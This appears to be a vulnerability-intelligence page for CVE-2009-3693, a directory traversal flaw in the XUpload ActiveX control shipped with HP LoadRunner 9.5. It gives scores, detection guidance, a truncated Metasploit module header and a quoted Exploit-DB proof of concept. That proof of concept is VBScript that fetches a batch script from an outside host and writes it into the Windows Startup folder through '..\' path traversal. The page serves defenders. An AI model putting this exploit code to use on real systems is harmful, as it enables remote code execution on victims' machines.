CVE-2009-3693
published 2009-10-13CVE-2009-3693: Directory traversal vulnerability in the Persits.XUpload.2 ActiveX control (XUpload.ocx) in HP LoadRunner 9.5 allows remote attackers to create arbitrary files…
PriorityP258critical9.3CVSS 2.0
AVNACMAuNCCICAC
EXPLOIT
EPSS
41.58%
98.5th percentile
Directory traversal vulnerability in the Persits.XUpload.2 ActiveX control (XUpload.ocx) in HP LoadRunner 9.5 allows remote attackers to create arbitrary files via \.. (backwards slash dot dot) sequences in the third argument to the MakeHttpRequest method.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| hp | loadrunner | — | — |
| persits | xupload | — | — |
Detection & IOCsextracted from sources · hover to see the quote
path..\..\..\Documents and Settings\All Users.WINDOWS\Menu Avvio\Programmi\Esecuzione automatica\sh.cmd↗
- →Alert on file creation events in Startup directories (e.g., All Users\Start Menu\Programs\Startup) originating from browser or ActiveX processes, as the exploit achieves code execution by dropping a payload there. ↗
- →Detect HTTP responses serving application/octet-stream executables to browser clients in conjunction with prior ActiveX MakeHttpRequest activity, as the exploit flow downloads and writes a payload EXE via the control. ↗
- →Look for the ProgID string 'Persits.XUpload.2' being instantiated in browser script (HTML/JS), which is the ActiveX object used by this exploit. ↗
- ·The Metasploit module targets XUpload ActiveX control version 3.0.0.3 specifically bundled with HP LoadRunner 9.5; other versions may differ in exploitability. ↗
- ·The traversal path used to reach the Startup folder is OS/locale-dependent; the PoC shows an Italian-language Windows path variant, so detection rules must account for localized path names. ↗
- ·Payload execution requires a user to log in after the file is written to the Startup directory; the exploit does not provide immediate code execution. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Persits XUpload - ActiveX MakeHttpRequest Directory Traversal (Metasploit)
exploitdb·2010-11-11
CVE-2009-3693 Persits XUpload - ActiveX MakeHttpRequest Directory Traversal (Metasploit)
Persits XUpload - ActiveX MakeHttpRequest Directory Traversal (Metasploit)
---
##
# $Id: persits_xupload_traversal.rb 10998 2010-11-11 22:43:22Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'Persits XUpload ActiveX MakeHttpRequest Directory Traversal',
'Description' => %q{
This module exploits a directory traversal in Persits Software Inc's
XUpload ActiveX control(version 3.0.0.3) that's included in HP LoadRunner 9.5.
By passing a string containing "..\\" sequences to the MakeHttpRequest method,
an attacker is able to write arbitr
Exploit-DB
HP LoadRunner 9.5 - Remote file creation (PoC)
exploitdb·2009-09-29
CVE-2009-3693 HP LoadRunner 9.5 - Remote file creation (PoC)
HP LoadRunner 9.5 - Remote file creation (PoC)
---
' http://retrogod.altervista.org/sh_9232.txt , a batch script that starts calc.exe
XUPLOADLib.Server = "retrogod.altervista.org"
XUPLOADLib.Script = "sh_9232.txt"
' place it in the Startup folder, italian path, change for your os
Method=""
Params=""
Path="..\\..\\..\\Documents and Settings\All Users.WINDOWS\Menu Avvio\Programmi\Esecuzione automatica\\sh.cmd"
UserAgent=""
Headers=""
XUPLOADLib.MakeHttpRequest Method ,Params ,Path ,UserAgent ,Headers
Metasploit
Persits XUpload ActiveX MakeHttpRequest Directory Traversal
metasploit
Persits XUpload ActiveX MakeHttpRequest Directory Traversal
Persits XUpload ActiveX MakeHttpRequest Directory Traversal
This module exploits a directory traversal in Persits Software Inc's XUpload ActiveX control(version 3.0.0.3) that's included in HP LoadRunner 9.5. By passing a string containing "..\" sequences to the MakeHttpRequest method, an attacker is able to write arbitrary files to arbitrary locations on disk. Code execution occurs by writing to the All Users Startup Programs directory. You may want to combine this module with the use of exploit/multi/handler since a user would have to log for the payload to execute.
No writeups or analysis indexed.
2009-10-13
Published